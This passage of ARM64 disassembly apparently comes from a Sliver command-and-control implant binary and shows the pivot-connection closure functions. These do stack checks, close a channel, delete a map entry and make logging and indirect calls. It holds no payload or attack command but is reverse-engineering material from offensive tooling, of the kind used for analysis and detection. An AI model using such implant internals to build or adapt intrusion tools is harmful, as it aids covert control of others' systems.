    0042d9b8ldrsb x27, [x2]
    0042d9bcb 0x42d9c0
    0042d9c0
    0042d9c0loc_42d9c0:
    0042d9c0str x2, [sp+304]
    0042d9c4orr x4, xzr, 1
    0042d9c8str x4, [sp+312]
    0042d9ccstr x4, [sp+320]
    0042d9d0adrp x0, 0x29e000
    0042d9d4add x0, x0, 1634
    0042d9d8orr x1, xzr, 56
    0042d9dcmov x3, x4
    0042d9e0bl log.Printf
    0042d9e4b 0x42d9e8
    0042d9e8
    0042d9e8loc_42d9e8:
    0042d9e8b 0x42d380
    0042d9ec
    0042d9ecloc_42d9ec:
    0042d9ecmov x3, x30
    0042d9f0bl runtime.morestack.abi0
    0042d9f4b 0x42d2d0
    0042d9f8udf 0
    0042d9fcudf 0
    0042d2d0
    0042da00
    0042da00github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func2.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func2.deferwrap1(void)
    0042da00ldr x16, [x28+16]
    0042da04subs xzr, sp, x16
    0042da08b.ls 0x42da38
    0042da0cstr x30, [sp-32]!
    0042da10stur x29, [sp-8]
    0042da14sub x29, sp, 8
    0042da18ldr x16, [x28+32]
    0042da1ccbnz x16, 0x42da44
    0042da20
    0042da20loc_42da20:
    0042da20ldr x0, [x26+8]
    0042da24str x0, [sp+16]
    0042da28bl runtime.closechan
    0042da2cldur x29, [sp-8]
    0042da30ldr x30, [sp], 32
    0042da34ret x30
    0042da38
    0042da38loc_42da38:
    0042da38mov x3, x30
    0042da3cbl runtime.morestack.abi0
    0042da40b 0x42da00
    0042da44
    0042da44loc_42da44:
    0042da44ldr x17, [x16]
    0042da48add x20, sp, 40
    0042da4csubs xzr, x20, x17
    0042da50b.ne 0x42da20
    0042da54add x20, sp, 8
    0042da58str x20, [x16]
    0042da5cb 0x42da20
    0042da00
    0042da60
    0042da60github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.deferwrap1(void)
    0042da60ldr x16, [x28+16]
    0042da64subs xzr, sp, x16
    0042da68b.ls 0x42daac
    0042da6cstr x30, [sp-64]!
    0042da70stur x29, [sp-8]
    0042da74sub x29, sp, 8
    0042da78ldr x16, [x28+32]
    0042da7ccbnz x16, 0x42dab8
    0042da80
    0042da80loc_42da80:
    0042da80ldr x3, [x26+8]
    0042da84str x3, [sp+48]
    0042da88ldr x1, [x26+16]
    0042da8cldr x2, [x26+24]
    0042da90str x1, [sp+32]
    0042da94str x2, [sp+40]
    0042da98ldr x0, [sp+48]
    0042da9cbl sync.(*Map).Delete
    0042daa0ldur x29, [sp-8]
    0042daa4ldr x30, [sp], 64
    0042daa8ret x30
    0042daac
    0042daacloc_42daac:
    0042daacmov x3, x30
    0042dab0bl runtime.morestack.abi0
    0042dab4b 0x42da60
    0042dab8
    0042dab8loc_42dab8:
    0042dab8ldr x17, [x16]
    0042dabcadd x20, sp, 72
    0042dac0subs xzr, x20, x17
    0042dac4b.ne 0x42da80
    0042dac8add x20, sp, 8
    0042daccstr x20, [x16]
    0042dad0b 0x42da80
    0042dad4udf 0
    0042dad8udf 0
    0042dadcudf 0
    0042da60
    0042dae0
    0042dae0github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func1(void)
    0042dae0ldr x16, [x28+16]
    0042dae4subs xzr, sp, x16
    0042dae8b.ls 0x42db24
    0042daecstr x30, [sp-32]!
    0042daf0stur x29, [sp-8]
    0042daf4sub x29, sp, 8
    0042daf8ldr x1, [x26+8]
    0042dafcstr x1, [sp+16]
    0042db00ldrsb x27, [x1]
    0042db04ldr x2, [x1+8]
    0042db08ldrsb x27, [x2]
    0042db0cldr x0, [x1+16]
    0042db10ldr x1, [x2+24]
    0042db14blr x1
    0042db18ldur x29, [sp-8]
    0042db1cldr x30, [sp], 32
    0042db20ret x30
    0042db24
    0042db24loc_42db24:
    0042db24mov x3, x30
    0042db28bl runtime.morestack.abi0
    0042db2cb 0x42dae0
    0042dae0